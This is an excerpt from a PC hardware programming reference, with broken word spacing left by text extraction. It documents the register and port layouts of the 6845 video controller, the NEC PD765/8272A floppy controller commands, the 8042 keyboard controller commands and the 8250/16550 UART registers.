- Regi st er s 00- 0D ar e wr i t e onl y, r egi st er s 0E- 0F ar e r ead/ wr i t e and
r egi st er s 10- 11 ar e r ead onl y
- Cur sor addr ess i s cal cul at ed wi t h usi ng t he f ol l owi ng ( r ow*80) +col

^6845 - Por t 3B8 ( Monochr ome)

7 6 5 4 3 2 1 0 3B8 CRT Cont r ol Por t
1 = 80x25 t ext
unused
1 = enabl e vi deo si gnal
unused
1 = bl i nki ng on
unused

^6845 - Por t 3D8 ( Col or )

7 6 5 4 3 2 1 0 3D8 Mode Sel ect Regi st er
Pagina 596 di 991
1 = 80x25 t ext , 0 = 40x25 t ext
1 = 320x200 gr aphi cs, 0 = t ext
1 = B/ W, 0 = col or
1 = enabl e vi deo si gnal
1 = 640x200 B/ Wgr aphi cs
1 = bl i nk, 0 = no bl i nk
unused

^6845 - Por t 3D9 Col or Text Modes

7 6 5 4 3 2 1 0 3D9 Col or Sel ect Regi st er ( 3B9 not used)
scr een/ bor der RGB
sel ect i nt ensi t y set t i ng
backgr ound i nt ensi t y
unused

^6845 - Por t 3D9 Col or Gr aphi cs Modes

7 6 5 4 3 2 1 0 3D9 Col or Sel ect Regi st er ( 3B9 not used)
RGB f or backgr ound
i nt ensi t y
unused
1 = pal et t e 1, 0=pal et t e 0 ( see bel ow)
unused

Pal et t e 0 = gr een, r ed, br own
Pal et t e 1 = cyan, magent a, whi t e

^6845 - Por t 3DA St at us Regi st er

7 6 5 4 3 2 1 0 3DA St at us Regi st er
1 = di spl ay enabl e, RAM access i s OK
1 = l i ght pen t r i gger set
0 = l i ght pen on, 1 = l i ght pen of f
1 = ver t i cal r et r ace, RAM access OK f or next 1. 25ms
unused
: 765: FDC: NEC 765: 8272: f l oppy cont r ol l er
^NEC PD765 - Fl oppy Di sk Cont r ol l er - 8272A

% PS/ 2 FDC Di sket t e St at us Regi st er A at 3F0h

7 6 5 4 3 2 1 0 3F0h PS/ 2 Di sk St at us Regi st er A ( r ead- onl y)
di r ect i on
wr i t e pr ot ect
i ndex
head 1 sel ect
t r ack 0
st ep
second dr i ve i nst al l ed
i nt er r upt pendi ng

% PS/ 2 FDC Di sket t e St at us Regi st er B at 3F1h

7 6 5 4 3 2 1 0 3F1h PS/ 2 Di sk St at us Regi st er B ( r ead- onl y)
mot or enabl e 0
mot or enabl e 1
wr i t e enabl e
r ead dat a ( t oggl es w/ posi t i ve t r ansi t i on i n - RD DATA)
wr i t e dat a ( t oggl es w/ posi t i ve t r ansi t i on i n WR DATA)
dr i ve sel ect
r eser ved

% FDC Di gi t al Out put Regi st er at 3F2h ( al l syst ems)
Pagina 597 di 991

7 6 5 4 3 2 1 0 por t 3F2h ( wr i t e onl y)
f l oppy dr i ve sel ect ( 0=A, 1=B, 2=f l oppy C, . . . )
1 = FDC enabl e, 0 = hol d FDC at r eset
1 = DMA & I / O i nt er f ace enabl ed ( r eser ved PS/ 2)
1 = t ur n f l oppy dr i ve A mot or on
1 = t ur n f l oppy dr i ve B mot or on
1 = t ur n f l oppy dr i ve C mot or on; ( r eser ved PS/ 2)
1 = t ur n f l oppy dr i ve D mot or on; ( r eser ved PS/ 2)

- used t o cont r ol dr i ve mot or s, dr i ve sel ect i on, and f eat ur e enabl e
- PS/ 2 onl y uses bi t 0 f or f l oppy dr i ve sel ect ; bi t 1 i s r eser ved
- PS/ 2 onl y uses bi t s 5 & 4 f or mot or enabl e; bi t s 7&6 ar e r eser ved
- al l DOR bi t s ar e cl ear ed dur i ng cont r ol l er r eset

% FDC Mai n St at us Regi st er at 3F4h ( al l syst ems)

7 6 5 4 3 2 1 0 por t 3F4h ( r ead onl y)
f l oppy dr i ve 0 i n seek mode/ busy
f l oppy dr i ve 1 i n seek mode/ busy
f l oppy dr i ve 2 i n seek mode/ busy ( r eser ved PS/ 2)
f l oppy dr i ve 3 i n seek mode/ busy ( r eser ved PS/ 2)
FDC r ead or wr i t e command i n pr ogr ess
FDC i s i n non- DMA mode
I / O di r ect i on; 1 = FDC t o CPU; 0 = CPU t o FDC
dat a r eg r eady f or I / O t o/ f r omCPU ( r equest f or mast er )

% FDC Command St at us Regi st er 0 at 3F5h ( al l syst ems)

7 6 5 4 3 2 1 0 Command St at us Regi st er 0 at por t 3F5h
uni t sel ect ed at i nt er r upt ( 0=A, 1=B, 2=. . . )
head number at i nt er r upt ( head 0 or 1)
not r eady on r ead/ wr i t e or SS access t o head 1
equi pment check ( see not e)
set t o 1 when FDD compl et es a seek command
l ast command st at us ( see bel ow)

% Bi t s
% 76 Last Command St at us
00 command t er mi nat ed successf ul l y
01 command execut i on st ar t ed but t er mi nat ed abnor mal l y
10 i nval i d command i ssued
11 command t er mi nat ed abnor mal l y due t o a change i n st at e of
t he Ready Si gnal f r omt he FDC ( r eser ved on PS/ 2)

- equi pment check can occur i f FDD si gnal s a f aul t or t r ack zer o i s
not f ound af t er 77 st eps on a r ecal i br at e command
- PS/ 2 onl y uses bi t s 1- 0 f or dr i ve ( val ues ar e 01b and 10b)

% FDC Command St at us Regi st er 1 at 3F5h ( al l syst ems)

7 6 5 4 3 2 1 0 Command St at us Regi st er 1 at por t 3F5h
FDC cannot f i nd I D addr ess mar k ( see r eg 2)
wr i t e pr ot ect det ect ed dur i ng wr i t e
FDC cannot f i nd sect or I D
unused ( al ways zer o)
over - r un; FDC not ser vi ced i n r easonabl e t i me
dat a er r or ( CRC) i n I D f i el d or dat a f i el d
unused ( al ways zer o)
end of cyl i nder ; sect or # gr eat er t han sect or s/ t r ack

- bi t 0 of St at us Regi st er 1 and bi t 4 of St at us Regi st er 2 ar e
r el at ed and mi mi c each ot her
Pagina 598 di 991

% FDC Command St at us Regi st er 2 at 3F5h ( al l syst ems)

7 6 5 4 3 2 1 0 Command St at us Regi st er 2 at por t 3F5h
mi ssi ng addr ess mar k i n dat a f i el d
bad cyl i nder , I D not f ound and Cyl I d=FFh
scan command f ai l ed, sect or not f ound i n cyl i nder
scan command equal condi t i on sat i sf i ed
wr ong cyl i nder det ect ed
CRC er r or det ect ed i n sect or dat a
sect or wi t h del et ed dat a addr ess mar k det ect ed
unused ( al ways zer o)

- bi t 0 of St at us Regi st er 1 and bi t 4 of St at us Regi st er 2 ar e
r el at ed and mi mi c each ot her

% FDC Command St at us Regi st er 3 at 3F5h ( FDD st at us, al l syst ems)

7 6 5 4 3 2 1 0 Fl oppy Di sk Dr i ve St at us at por t 3F5h
FDD uni t sel ect ed st at us ( 0=A, 1=B, 2=. . . )
FDD si de head sel ect st at us ( 0=head 0, 1=head 1)
FDD t wo si ded st at us si gnal
FDD t r ack zer o st at us si gnal
FDD r eady st at us si gnal
FDD wr i t e pr ot ect st at us si gnal
FDD f aul t st at us si gnal

% PS/ 2 FDC Di gi t al I nput Regi st er at 3F7h

7 6 5 4 3 2 1 0 3F7h PS/ 2 Di gi t al I nput Regi st er ( r ead onl y)
hi gh densi t y sel ect
r eser ved
di sket t e change

% PS/ 2 FDC Conf i gur at i on Cont r ol Regi st er at 3F7h

7 6 5 4 3 2 1 0 3F7h PS/ 2 Conf i g. Cont r ol Regi st er ( wr i t e onl y)
DRC1, DRC0 ( see bel ow)
r eser ved

DRC1 DRC0
0 0 500000 bi t per second mode
0 1 r eser ved
1 0 250000 bi t per second mode
1 1 r eser ved


- Di gi t al I nput Regi st er i s used t o sense t he st at e of t he
( - di sket t e change) and t he ( - hi gh densi t y sel ect ) si gnal s
- Conf i gur at i on Cont r ol Regi st er i s used t o set t he t r ansf er r at e


^FDC Pr ogr ammi ng Consi der at i ons

% Thr ee phases of command execut i on:

1. Command phase; commands ar e sent f r omt he CPU t o t he FDC vi a
por t 3F5h; bi t 6 of t he St at us Regi st er at 3F4h must be zer o
2. Execut i on phase; FDC execut es i nst r uct i on & gener at es I NT 6
3. Resul t phase; st at us and ot her i nf or mat i on i s avai l abl e t o CPU;
I NT 6 set s bi t 7 of BI OS Dat a Ar ea l ocat i on 40: 3E whi ch can
be pol l ed f or compl et i on st at us

Pagina 599 di 991

% Exampl e of a r ead oper at i on:

1. t ur n di sk mot or on and set del ay t i me f or dr i ve spi n up
2. per f or mseek oper at i on; wai t f or di sk i nt er r upt
3. pr epar e DMA chi p t o move dat a t o memor y
4. send r ead command and wai t f or t r ansf er compl et e i nt er r upt
5. r ead st at us i nf or mat i on
6. t ur n di sk mot or of f


^Fl oppy Di sket t e Cont r ol l er Oper at i ons ( 15 commands)

% Read Dat a D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: MT MF SK 0 0 1 1 0
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: cyl i nder number
command byt e 3: head number
command byt e 4: sect or number
command byt e 5: byt es per sect or
command byt e 6: end of t r ack ( l ast sect or i n t r ack)
command byt e 7: gap 3 l engt h
command byt e 8: dat a l engt h ( i f cmd byt e 5==0)
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Read Del et ed Dat a D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: MT MF SK 0 1 1 0 0
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: cyl i nder number
command byt e 3: head number
command byt e 4: sect or number
command byt e 5: byt es per sect or
command byt e 6: end of t r ack ( l ast sect or i n t r ack)
command byt e 7: gap 3 l engt h
command byt e 8: dat a l engt h ( i f cmd byt e 5==0)
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Wr i t e Dat a D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: MT MF 0 0 0 1 0 1
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: cyl i nder number
command byt e 3: head number
command byt e 4: sect or number
command byt e 5: byt es per sect or
command byt e 6: end of t r ack ( l ast sect or i n t r ack)
command byt e 7: gap 3 l engt h
command byt e 8: dat a l engt h ( i f cmd byt e 5==0)
r esul t byt e 0: st at us r egi st er 0
Pagina 600 di 991
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Wr i t e Del et ed Dat a D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: MT MF 0 0 1 0 0 1
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: cyl i nder number
command byt e 3: head number
command byt e 4: sect or number
command byt e 5: byt es per sect or
command byt e 6: end of t r ack ( l ast sect or i n t r ack)
command byt e 7: gap 3 l engt h
command byt e 8: dat a l engt h ( i f cmd byt e 5==0)
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Read a Tr ack D7 D6 D5 D4 D3 D2 D1 D0
% ( Di agnost i c)
command byt e 0: 0 MF SK 0 0 0 1 0
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: cyl i nder number
command byt e 3: head number
command byt e 4: sect or number
command byt e 5: byt es per sect or
command byt e 6: end of t r ack ( l ast sect or i n t r ack)
command byt e 7: gap 3 l engt h
command byt e 8: dat a l engt h ( i f cmd byt e 5==0)
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Read I D D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: 0 MF 0 0 1 0 1 0
command byt e 1: ? ? ? ? ? HD US1 US0
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% For mat a Tr ack D7 D6 D5 D4 D3 D2 D1 D0
% ( Wr i t e Sect or I Ds)
command byt e 0: 0 MF 0 0 1 1 0 1
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: byt es per sect or
command byt e 3: sect or s per t r ack
Pagina 601 di 991
command byt e 4: gap 3 l engt h
command byt e 5: f i l l er pat t er n t o wr i t e i n each byt e
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Scan Equal D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: MT MF SK 1 0 0 0 1
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: cyl i nder number
command byt e 3: head number
command byt e 4: sect or number
command byt e 5: byt es per sect or
command byt e 6: end of t r ack ( l ast sect or i n t r ack)
command byt e 7: gap 3 l engt h
command byt e 8: scan t est ( 1=scan cont i guous, 2=scan al t er nat e)
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Scan Low or Equal D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: MT MF SK 1 1 0 0 1
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: cyl i nder number
command byt e 3: head number
command byt e 4: sect or number
command byt e 5: byt es per sect or
command byt e 6: end of t r ack ( l ast sect or i n t r ack)
command byt e 7: gap 3 l engt h
command byt e 8: scan t est ( 1=scan cont i guous, 2=scan al t er nat e)
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Scan Hi gh or Equal D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: MT MF SK 1 1 1 0 1
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: cyl i nder number
command byt e 3: head number
command byt e 4: sect or number
command byt e 5: byt es per sect or
command byt e 6: end of t r ack ( l ast sect or i n t r ack)
command byt e 7: gap 3 l engt h
command byt e 8: scan t est ( 1=scan cont i guous, 2=scan al t er nat e)
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: st at us r egi st er 1
r esul t byt e 2: st at us r egi st er 2
r esul t byt e 3: cyl i nder number
Pagina 602 di 991
r esul t byt e 4: head number
r esul t byt e 5: sect or number
r esul t byt e 6: byt es per sect or

% Recal i br at e D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: 0 0 0 0 0 1 1 1
command byt e 1: ? ? ? ? ? 0 US1 US0
r et ur ns not hi ng

% Sense I nt er r upt D7 D6 D5 D4 D3 D2 D1 D0
% St at us
command byt e 0: 0 0 0 0 1 0 0 0
r esul t byt e 0: st at us r egi st er 0
r esul t byt e 1: pr esent cyl i nder number

% Speci f y St ep & D7 D6 D5 D4 D3 D2 D1 D0
% Head Load
command byt e 0: 0 0 0 0 0 0 1 1
command byt e 1: st ep r at e t i me head unl oad t i me
command byt e 2: head l oad t i me ND
r et ur ns not hi ng

% Sense Dr i ve D7 D6 D5 D4 D3 D2 D1 D0
% St at us
command byt e 0: 0 0 0 0 0 1 0 0
command byt e 1: ? ? ? ? ? HD US1 US0
r esul t byt e 0: st at us r egi st er 3

% Seek D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: 0 0 0 0 1 1 1 1
command byt e 1: ? ? ? ? ? HD US1 US0
command byt e 2: new cyl i nder number
r et ur ns not hi ng

% PD765 Ver si on D7 D6 D5 D4 D3 D2 D1 D0

command byt e 0: ? ? ? 1 0 0 0 0
r esul t byt e 0: st at us r egi st er 0
90h = PD765B; 80h = PD765A or PD765A- 2

% I nval i d Command

r esul t byt e 0: st at us r egi st er 0 ( val ue of 80h)


% Key t o Abbr evi at i ons
HD = Head Number Sel ect ed SK = SKi p Del et ed- dat a addr ess mar k
MT = Mul t i - Tr ack US0 = dr i ve sel ect bi t 0
MF = MFM mode US1 = dr i ve sel ect bi t 1
ND = Non- DMA mode

Head Load Ti me = 2 t o 254ms i n 2ms i ncr ement s
Head Unl oad Ti me = 16 t o 240ms i n 16ms i ncr ement s
St ep Rat e Ti me = 1 t o 16ms i n 1ms i ncr ement s


- PS/ 2 syst ems use t he 8272A di sket t e cont r ol l er whi ch i s sof t war e
and por t compat i bl e wi t h t he NEC PD765
- accessed t hr ough por t s 3F0h- 3F7h; NEC PD765 i s accessed t hr ough
por t s 3F2h, 3F4h and 3F5h; t he 8272A uses por t s 3F0h, 3F1h,
3F2h, 3F4h, 3F5h and 3F7h
Pagina 603 di 991
- dat a, command and st at us r egi st er s ar e al l accessed t hr ough
por t 3F5h a r egi st er st ack wi t h one addr ess pr esent ed t o t he bus
- bi t 7 of BI OS Dat a Ar ea byt e 40: 3E can be pol l ed t o det er mi ne
i f a di sk oper at i on has compl et ed; t hi s bi t i s set by t he
i nt er r upt handl er when t he oper at i on has compl et ed; i t shoul d
be r eset bef or e cont i nui ng on wi t h t he next FDC oper at i on

- see ~BI OS Dat a Ar ea~ ~I NT TABLE~ ~I NT 13~

: 8042: keyboar d cont r ol l er
^8042 - Keyboar d Cont r ol l er ( AT, PS/ 2)

% 8042 St at us Regi st er ( por t 64h r ead)

7 6 5 4 3 2 1 0 8042 St at us Regi st er
out put r egi st er ( 60h) has dat a f or syst em
i nput r egi st er ( 60h/ 64h) has dat a f or 8042
syst emf l ag ( set t o 0 af t er power on r eset )
dat a i n i nput r egi st er i s command ( 1) or dat a ( 0)
1=keyboar d enabl ed, 0=keyboar d di sabl ed ( vi a swi t ch)
1=t r ansmi t t i meout ( dat a t r ansmi t not compl et e)
1=r ecei ve t i meout ( dat a t r ansmi t not compl et e)
1=even par i t y r ec' d, 0=odd par i t y r ec' d ( shoul d be odd)

% Por t Mode Descr i pt i on

64h r ead 8042 st at us r egi st er . Can be r ead at any t i me. See
t abl e above f or mor e i nf or mat i on.
64h wr i t e 8042 command r egi st er . Wr i t i ng t hi s por t set s Bi t 3
of t he st at us r egi st er t o 1 and t he byt e i s t r eat ed
as a cont r ol l er command. Devi ces at t ached t o t he
8042 shoul d be di sabl ed bef or e i ssui ng commands t hat
r et ur n dat a si nce dat a i n t he out put r egi st er wi l l
be over wr i t t en.
60h r ead 8042 out put r egi st er ( shoul d onl y be r ead i f Bi t 0 of
st at us por t i s set t o 1)
60h wr i t e 8042 dat a r egi st er . Dat a shoul d onl y be wr i t t en i f
Bi t 1 of t he st at us r egi st er i s zer o ( r egi st er i s empt y) .
When t hi s por t i s wr i t t en Bi t 3 of t he st at us r egi st er
i s set t o zer o and t he byt e i s t r eat ed as a dat a. The
8042 uses t hi s byt e i f i t ' s expect i ng dat a f or a pr evi ous
command, ot her wi se t he dat a i s wr i t t en di r ect l y t o t he
keyboar d. See ~KEYBOARD COMMANDS~ f or i nf or mat i on on
pr ogr ammi ng t he act ual keyboar d har dwar e.


^8042 Commands Rel at ed t o PC Syst ems ( Por t 64h)

% Command Descr i pt i on

20 Read 8042 Command Byt e: cur r ent 8042 command byt e i s pl aced
i n por t 60h.
60 Wr i t e 8042 Command Byt e: next dat a byt e wr i t t en t o por t 60h i s
pl aced i n 8042 command r egi st er . For mat :

7 6 5 4 3 2 1 0 8042 Command Byt e
1=enabl e out put r egi st er f ul l i nt er r upt
shoul d be 0
1=set st at us r egi st er syst em, 0=cl ear
1=over r i de keyboar d i nhi bi t , 0=al l ow i nhi bi t
di sabl e keyboar d I / O by dr i vi ng cl ock l i ne l ow
di sabl e auxi l i ar y devi ce, dr i ves cl ock l i ne l ow
I BM scancode t r ansl at i on 0=AT, 1=PC/ XT
Pagina 604 di 991
r eser ved, shoul d be 0

A4 Passwor d I nst al l ed Test : r et ur ned dat a can be r ead
f r ompor t 60h; FA=passwor d i nst al l ed, F1=no passwor d
A5 Load Secur i t y: byt es wr i t t en t o por t 60h wi l l be r ead
unt i l a nul l ( 0) i s f ound.
A6 Enabl e Secur i t y: wor ks onl y i f a passwor d i s al r eady l oaded
A7 Di sabl e Auxi l i ar y I nt er f ace: set s Bi t 5 of command r egi st er
st oppi ng auxi l i ar y I / O by dr i vi ng t he cl ock l i ne l ow
A8 Enabl e Auxi l i ar y I nt er f ace: cl ear s Bi t 5 of command r egi st er
A9 Auxi l i ar y I nt er f ace Test : cl ock and dat a l i nes ar e t est ed;
r esul t s pl aced at por t 60h ar e l i st ed bel ow:

00 no er r or
01 keyboar d cl ock l i ne i s st uck l ow
02 keyboar d cl ock l i ne i s st uck hi gh
03 keyboar d dat a l i ne i s st uck l ow
04 keyboar d dat a l i ne i s st uck hi gh

AA Sel f Test : di agnost i c r esul t pl aced at por t 60h, 55h=OK
AB Keyboar d I nt er f ace Test : cl ock and dat a l i nes ar e t est ed;
r esul t s pl aced at por t 60h ar e l i st ed above wi t h command A9
AC Di agnost i c Dump: sends 16 byt es of 8042' s RAM, cur r ent i nput
por t st at e, cur r ent out put por t st at e and 8042 pr ogr amst at us
wor d t o por t 60h i n scan- code f or mat .
AD Di sabl e Keyboar d I nt er f ace: set s Bi t 4 of command r egi st er
st oppi ng keyboar d I / O by dr i vi ng t he cl ock l i ne l ow
AE Enabl e Keyboar d I nt er f ace: cl ear s Bi t 4 of command r egi st er
enabl i ng keyboar d i nt er f ace.
C0 Read I nput Por t : dat a i s r ead f r omi t s i nput por t ( whi ch i s
i naccessi bl e t o t he dat a bus) and wr i t t en t o out put r egi st er
at por t 60h; out put r egi st er shoul d be empt y bef or e cal l .

7 6 5 4 3- 0 8042 I nput Por t
undef i ned
1=enabl e 2nd 256K of mot her boar d RAM, 0=di sabl e
1=manuf act ur i ng j umper not i nst al l ed, 0=i nst al l ed
1=pr i mar y di spl ay i s MDA, 0=pr i mar y di spl ay i s CGA
1=keyboar d not i nhi bi t ed, 0=keyboar d i nhi bi t ed

C1 Pol l I nput Por t Low Bi t s: Bi t s 0- 3 of por t 1 pl aced i n
st at us Bi t s 4- 7
C2 Pol l I nput Por t Hi gh Bi t s: Bi t s 4- 7 of por t 1 pl aced i n
st at us Bi t s 4- 7
D0 Read Out put Por t : dat a i s r ead f r om8042 out put por t ( whi ch i s
i naccessi bl e t o t he dat a bus) and pl aced i n out put r egi st er ;
t he out put r egi st er shoul d be empt y. ( see command D1 bel ow)
D1 Wr i t e Out put Por t : next byt e wr i t t en t o por t 60h i s pl aced i n
t he 8042 out put por t ( whi ch i s i naccessi bl e t o t he dat a bus)

7 6 5 4 3 2 1 0 8042 Out put Por t
syst emr eset l i ne
gat e A20
undef i ned
out put buf f er f ul l
i nput buf f er empt y
keyboar d cl ock ( out put )
keyboar d dat a ( out put )

D2 Wr i t e Keyboar d Out put Regi st er : on PS/ 2 syst ems t he next dat a
byt e wr i t t en t o por t 60h i nput r egi st er i s wr i t t en t o por t 60h
out put r egi st er as i f i ni t i at ed by a devi ce; i nvokes i nt er r upt
i f enabl ed
Pagina 605 di 991
D3 Wr i t e Auxi l i ar y Out put Regi st er : on PS/ 2 syst ems t he next dat a
byt e wr i t t en t o por t 60h i nput r egi st er i s wr i t t en t o por t 60h
out put r egi st er as i f i ni t i at ed by a devi ce; i nvokes i nt er r upt
i f enabl ed
D4 Wr i t e Auxi l i ar y Devi ce: on PS/ 2 syst ems t he next dat a byt e
wr i t t en t o i nput r egi st er a por t at 60h i s sent t o t he
auxi l i ar y devi ce
E0 Read Test I nput s: 8042 r eads i t s T0 and T1 i nput s; dat a i s
pl aced i n out put r egi st er ; Bi t 0 i s T0, Bi t 1 i s T1:

1 0 Test I nput Por t Bi t s
keyboar d cl ock
keyboar d dat a

Fx Pul se Out put Por t : Bi t s 0- 3 of t he 8042 out put por t can be
pul sed l ow f or 6 s; Bi t s 0- 3 of command i ndi cat e whi ch
Bi t s shoul d be pul sed; 0=pul se, 1=don' t pul se; pul si ng
Bi t 0 r esul t s i n CPU r eset si nce i t i s connect ed t o syst em
r eset l i ne.

- PC syst ems pr evi ous t o t he AT use t he 8255 PPI as a keyboar d
cont r ol l er and use t he keyboar d' s i nt er nal 8048.
- t he keyboar d' s i nt er nal cont r ol l er buf f er s up t o 16 byt es of
make/ br eak code i nf or mat i on. Thi s i s common among al l PC syst ems
and shoul dn' t be conf used wi t h t he ( 32 byt e) keyboar d buf f er
mai nt ai ned by t he BI OS.
- see ~KEYBOARD COMMANDS~ f or i nf or mat i on on pr ogr ammi ng t he
keyboar ds i nt er nal mi cr opr ocessor
: 8250: 16450: 16550: UART
^UART - Uni ver sal Asynchr onous Recei ver / Tr ansmi t t er

% Por t Descr i pt i on

3F8/ 2F8 Tr ansmi t / Recei ve Buf f er ( r ead/ wr i t e)
Baud Rat e Di vi sor LSB i f bi t 7 of LCR i s set ( r ead/ wr i t e)
3F9/ 2F9 I ER - I nt er r upt Enabl e Regi st er ( r ead/ wr i t e)
Baud Rat e Di vi sor MSB i f bi t 7 of LCR i s set ( r ead/ wr i t e)
3FA/ 2FA I I R - I nt er r upt I dent i f i cat i on Regi st er ( r ead onl y)
FCR - 16550 FI FO Cont r ol Regi st er ( wr i t e onl y)
3FB/ 2FB LCR - Li ne Cont r ol Regi st er ( r ead/ wr i t e)
3FC/ 2FC MCR - ModemCont r ol Regi st er ( r ead/ wr i t e)
3FD/ 2FD LSR - Li ne St at us Regi st er ( r ead onl y)
3FE/ 2FE MSR - ModemSt at us Regi st er ( r ead onl y)
3FF/ 2FF Scr at ch Pad Regi st er ( r ead/ wr i t e)


^Det ai l ed UART Descr i pt i on

% Por t 3F8 - Tr ansmi t / Recei ve Buf f er ( r ead/ wr i t e)
% Baud Rat e Di vi sor LSB i f bi t 7 of LCR i s set ( r ead/ wr i t e)

% Por t 3F9 - I nt er r upt Enabl e Regi st er - I ER ( r ead/ wr i t e)
% Baud Rat e Di vi sor MSB i f bi t 7 of LCR i s set ( r ead/ wr i t e)

7 6 5 4 3 2 1 0 2F9, 3F9: I nt er r upt Enabl e Regi st er
1 = enabl e dat a avai l abl e i nt ( and 16550 Ti meout )
1 = enabl e THRE i nt er r upt
1 = enabl e l i nes st at us i nt er r upt
1 = enabl e modem- st at us- change i nt er r upt
r eser ved ( zer o)

- 16550 wi l l i nt er r upt i f dat a exi st s i n t he FI FO and i sn' t r ead
wi t hi n t he t i me i t t akes t o r ecei ve f our byt es or i f no dat a i s
Pagina 606 di 991
r ecei ved wi t hi n t he t i me i t t akes t o r ecei ve f our byt es.


^Baud Rat e Di vi sor Tabl e

% Baud Rat e Baud Rat e
% Baud Rat e Di vi sor Baud Rat e Di vi sor

50 900h 2400 30h
110 417h 3600 20h
150 300h 4800 18h
300 180h 7200 10h
600 C0h 9600 0Ch
1200 60h 19200 06h
1800 40h 38400 03h
2000 3Ah 115200 01h

- Baud r at e di vi sor s can be cal cul at ed by t aki ng t he osci l l at i ng
f r equency ( 1, 843, 200) and di vi di ng by t he quant i t y of t he desi r ed
baud r at e t i mes t he UART cl ocki ng f act or ( 16) . Use t he f ol l owi ng
f or mul a:
^di vi sor = 1843200 / ( BaudRat e * 16) ;


^Por t 3FA - I nt er r upt I dent i f i cat i on Regi st er - I I R ( r ead onl y)

7 6 5 4 3 2 1 0 2FA, 3FA I nt er r upt I D Regi st er
1 = no i nt . pendi ng, 0=i nt . pendi ng
I nt er r upt I d bi t s ( see bel ow)
16550 1 = t i meout i nt . pendi ng, 0 f or 8250/ 16450
r eser ved ( zer o)
16550 set t o 1 i f FI FO queues ar e enabl ed

% Bi t s
% 21 Meani ng Pr i or i t y To r eset
00 modem- st at us- change l owest r ead MSR
01 t r ansmi t - r egi st er - empt y l ow r ead I I R / wr i t e THR
10 dat a- avai l abl e hi gh r ead r ec buf f er r eg
11 l i ne- st at us hi ghest r ead LSR

- i nt er r upt pendi ng f l ag uses r ever se l ogi c, 0 = pendi ng, 1 = none
- i nt er r upt wi l l occur i f any of t he l i ne st at us bi t s ar e set
- THRE bi t i s set when THRE r egi st er i s empt i ed i nt o t he TSR


^Por t 3FA - 16550 FI FO Cont r ol Regi st er - FCR ( wr i t e onl y)

7 6 5 4 3 2 1 0 2FA, 3FA FI FO Cont r ol Regi st er
1 = enabl e cl ear XMI T and RCVR FI FO queues
1 = cl ear RCVR FI FO
1 = cl ear XMI T FI FO
1 = change RXRDY & TXRDY pi ns f r ommode 0 t o mode 1
r eser ved ( zer o)
t r i gger l evel f or RCVR FI FO i nt er r upt

% Bi t s RCVR FI FO
% 76 Tr i gger Level
00 1 byt e
01 4 byt es
10 8 byt es
11 14 byt es

- Bi t 0 must be set i n or der t o wr i t e t o ot her FCR bi t s
Pagina 607 di 991
- Bi t 1 when set t o 1 t he RCVR FI FO i s cl ear ed and t hi s bi t i s r eset .
The r ecei ver shi f t r egi st er i s not cl ear ed.
- Bi t 2 when set t o 1 t he XMI T FI FO i s cl ear ed and t hi s bi t i s r eset .
The t r ansmi t shi f t r egi st er i s not cl ear ed.


^Por t 3FB - Li ne Cont r ol Regi st er - LCR ( r ead/ wr i t e)

7 6 5 4 3 2 1 0 2FB, 3FB Li ne Cont r ol Regi st er
wor d l engt h sel ect bi t s ( see bel ow)
0 = 1 st op bi t , 1 = 1. 5 or 2 ( see not e)
0 = no par i t y, 1 = par i t y ( PEN)
0 = odd par i t y, 1 = even ( EPS)
